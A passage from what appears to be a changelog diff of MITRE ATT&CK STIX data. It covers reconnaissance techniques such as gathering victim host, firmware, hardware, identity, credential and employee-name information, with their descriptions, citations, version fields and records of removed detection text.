"TrellixQakbot", + "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.", + "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sam Seabrook, Duke Energy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.583000+00:00\", \"old_value\": \"2025-04-15 22:37:32.347000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0826: Detection of Gather Victim Host Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:47:16.719000+00:00", + "modified": "2025-10-24 17:48:58.431000+00:00", + "name": "Client Configurations", + "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592/004", + "external_id": "T1592.004" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.431000+00:00\", \"old_value\": \"2025-04-15 21:57:34.604000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0820: Detection of Client Configurations" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:46:42.537000+00:00", + "modified": "2025-10-24 17:49:16.957000+00:00", + "name": "Firmware", + "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592/003", + "external_id": "T1592.003" + }, + { + "source_name": "ArsTechnica Intel", + "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.", + "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.957000+00:00\", \"old_value\": \"2025-04-15 22:36:31.208000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0818: Detection of Firmware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:40:47.488000+00:00", + "modified": "2025-10-24 17:48:32.066000+00:00", + "name": "Hardware", + "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592/001", + "external_id": "T1592.001" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.066000+00:00\", \"old_value\": \"2025-04-15 22:39:29.396000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Internet scanners may be used to look for patterns associated with malicious content designed to collect host hardware information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0035: Internet Scan (Response Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0887: Detection of Hardware" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:54:59.263000+00:00", + "modified": "2025-10-24 17:48:47.303000+00:00", + "name": "Gather Victim Identity Information", + "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames.(Citation: GrimBlog UsernameEnum)(Citation: Obsidian SSPR Abuse 2023) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589", + "external_id": "T1589" + }, + { + "source_name": "OPM Leak", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.", + "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/" + }, + { + "source_name": "Detectify Slack Tokens", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.", + "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/" + }, + { + "source_name": "GitHub truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "url": "https://github.com/dxa4481/truffleHog" + }, + { + "source_name": "GrimBlog UsernameEnum", + "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021.", + "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/" + }, + { + "source_name": "Register Uber", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/" + }, + { + "source_name": "GitHub Gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "url": "https://github.com/michenriksen/gitrob" + }, + { + "source_name": "CNET Leaks", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/" + }, + { + "source_name": "Obsidian SSPR Abuse 2023", + "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.", + "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/" + }, + { + "source_name": "Forbes GitHub Creds", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196" + }, + { + "source_name": "Register Deloitte", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)", + "Obsidian Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.303000+00:00\", \"old_value\": \"2025-04-15 22:37:47.951000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n\\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\\n-\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0841: Detection of Gather Victim Identity Information" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:55:43.815000+00:00", + "modified": "2025-10-24 17:49:18.246000+00:00", + "name": "Credentials", + "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589/001", + "external_id": "T1589.001" + }, + { + "source_name": "Bleeping Computer 2easy 2021", + "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": "Detectify Slack Tokens", + "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.", + "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/" + }, + { + "source_name": "GitHub truffleHog", + "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.", + "url": "https://github.com/dxa4481/truffleHog" + }, + { + "source_name": "Bleeping Computer Stealer Logs 2023", + "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/" + }, + { + "source_name": "Register Uber", + "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/" + }, + { + "source_name": "GitHub Gitrob", + "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.", + "url": "https://github.com/michenriksen/gitrob" + }, + { + "source_name": "CNET Leaks", + "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.", + "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/" + }, + { + "source_name": "Okta Scatter Swine 2022", + "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.", + "url": "https://sec.okta.com/scatterswine" + }, + { + "source_name": "Forbes GitHub Creds", + "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.", + "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196" + }, + { + "source_name": "SecureWorks Infostealers 2023", + "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.", + "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers" + }, + { + "source_name": "Register Deloitte", + "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", + "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vinayak Wadhwa, Lucideus", + "Lee Christensen, SpecterOps", + "Toby Kohlenberg", + "Massimo Giaimo, W\u00fcrth Group Cyber Defence Center" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.246000+00:00\", \"old_value\": \"2025-04-15 22:11:53.342000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0813: Detection of Credentials" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 14:57:15.906000+00:00", + "modified": "2025-10-24 17:48:57.975000+00:00", + "name": "Employee Names", + "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1589/003", + "external_id": "T1589.003" + }, + { + "source_name": "OPM Leak", + "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved September 16, 2024.", + "url": "https://web.archive.org/web/20230602111604/https://www.opm.gov/cybersecurity/cybersecurity-incidents/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + 